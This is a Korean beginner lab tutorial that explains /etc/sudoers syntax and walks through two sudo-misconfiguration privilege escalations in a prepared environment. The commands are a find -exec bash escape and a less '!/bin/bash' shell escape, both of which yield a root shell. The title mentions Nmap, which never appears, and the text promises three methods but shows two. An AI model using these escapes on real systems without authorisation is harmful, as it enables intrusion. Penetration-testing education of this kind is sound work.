Nmap 환경에서 Sudo 권한 상승 방법 배우기

Beginner

소개

이 랩에서는 sudo 설정 파일 구문 (syntax) 에 대해 배우고, sudo 취약점 또는 잘못된 설정 (misconfiguration) 을 통해 권한을 상승시키는 세 가지 일반적인 방법을 실습합니다. 목표는 침투 테스트 (penetration test) 중에 권한 상승을 위해 sudo 를 활용하는 방법을 더 잘 이해하는 것입니다.

Sudo 설정 파일 구문

이 단계에서는 sudo 권한을 설정하는 데 사용되는 /etc/sudoers 파일의 구문에 대해 배웁니다.

/etc/sudoers 파일은 어떤 사용자 또는 그룹이 권한을 상승하여 명령을 실행할 수 있는지 지정하는 데 사용됩니다. /etc/sudoers 파일의 내용을 보고 저장하려면 다음 명령을 실행하십시오.

sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt

출력은 다음과 유사해야 합니다.

## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root    ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges

이 줄은 root 사용자가 모든 호스트에서 모든 사용자 또는 그룹으로 모든 명령을 실행할 수 있음을 지정합니다.

sudoers 항목의 일반적인 구문은 다음과 같습니다.

user_or_group_name  host_list=(run_as_user:run_as_group)  command_list
  • user_or_group_name: 규칙이 적용되는 사용자 또는 그룹입니다.
  • host_list: 규칙이 적용되는 호스트입니다. 값 ALL은 모든 호스트를 의미합니다.
  • run_as_user: 명령을 실행하는 데 사용되는 사용자의 권한입니다. 값 ALL은 모든 사용자를 의미합니다.
  • run_as_group: 명령을 실행하는 데 사용되는 그룹의 권한입니다. 값 ALL은 모든 그룹을 의미합니다.
  • command_list: 사용자 또는 그룹이 실행하도록 허용된 명령입니다.

인수 제한 없는 Sudo 권한 상승

이 단계에서는 sudo 의 잘못된 설정 (misconfiguration) 을 활용하여 권한을 상승시키는 연습을 합니다. 이는 모든 명령을 권한 상승된 상태로 실행할 수 있도록 합니다.

  1. 먼저 터미널을 열고 /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project
    
  2. 다음 명령을 실행하여 환경을 초기화합니다.

    ./env_setup_1.sh
    
  3. 이제 user001 사용자로 로그인했습니다.

    sudo -l 명령을 사용하여 sudo 권한을 확인합니다.

    sudo -l
    
    (root) NOPASSWD:/usr/bin/find
    

    이는 암호 없이 root 권한으로 find 명령을 실행할 수 있음을 의미합니다.

  4. 권한을 상승시키려면 다음을 실행합니다.

    sudo find /home -exec /bin/bash \;
    

    이제 root 쉘을 갖게 됩니다.

  5. root 권한이 있는지 확인하기 위해 /root 디렉토리에 success_1.txt라는 파일을 생성합니다.

    echo "success_1" | sudo tee /root/success_1.txt
    

    다음을 실행하여 파일을 확인합니다.

    cat /root/success_1.txt
    

    출력은 success_1이어야 합니다.

특정 명령 인수를 사용한 Sudo 권한 상승

이 단계에서는 특정 명령을 권한 상승된 상태로 실행할 수 있도록 하는 sudo 의 잘못된 설정 (misconfiguration) 을 활용하여 권한을 상승시키는 연습을 합니다.

이전 단계 이후, 여전히 root 사용자로 로그인되어 있습니다. 이 단계를 계속 진행하려면 현재 터미널을 닫고 새 터미널을 열어야 합니다.

  1. 먼저 터미널을 열고 /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project
    
  2. 다음 명령을 실행하여 환경을 초기화합니다.

    ./env_setup_2.sh
    
  3. sudo -l을 사용하여 sudo 권한을 확인합니다.

    sudo -l
    

    예상 출력:

    (root) NOPASSWD: /bin/less /var/log/messages
    

    이는 암호 없이 root 권한으로 /bin/less /var/log/messages 명령을 실행할 수 있음을 의미합니다.

  4. 권한을 상승시키려면 다음을 실행합니다.

    sudo less /var/log/messages
    

    less 페이저 (pager) 내에서 다음을 실행합니다.

    !/bin/bash
    

    이제 root 쉘을 갖게 됩니다.

  5. root 권한이 있는지 확인하기 위해 /root 디렉토리에 success_2.txt라는 파일을 생성합니다.

    echo "success_2" | sudo tee /root/success_2.txt
    

    다음을 실행하여 파일을 확인합니다.

    cat /root/success_2.txt
    

    출력은 success_2이어야 합니다.

요약

이 랩에서는 /etc/sudoers 파일의 구문과 sudo 권한을 구성하는 방법에 대해 배웠습니다. 또한 sudo 의 잘못된 설정 (misconfiguration) 또는 취약점을 통해 권한을 상승시키는 세 가지 일반적인 방법을 실습했습니다. sudo 를 권한 상승에 활용하는 방법을 이해함으로써 Linux 시스템의 잠재적인 보안 위험을 더 잘 평가하고 완화할 수 있습니다.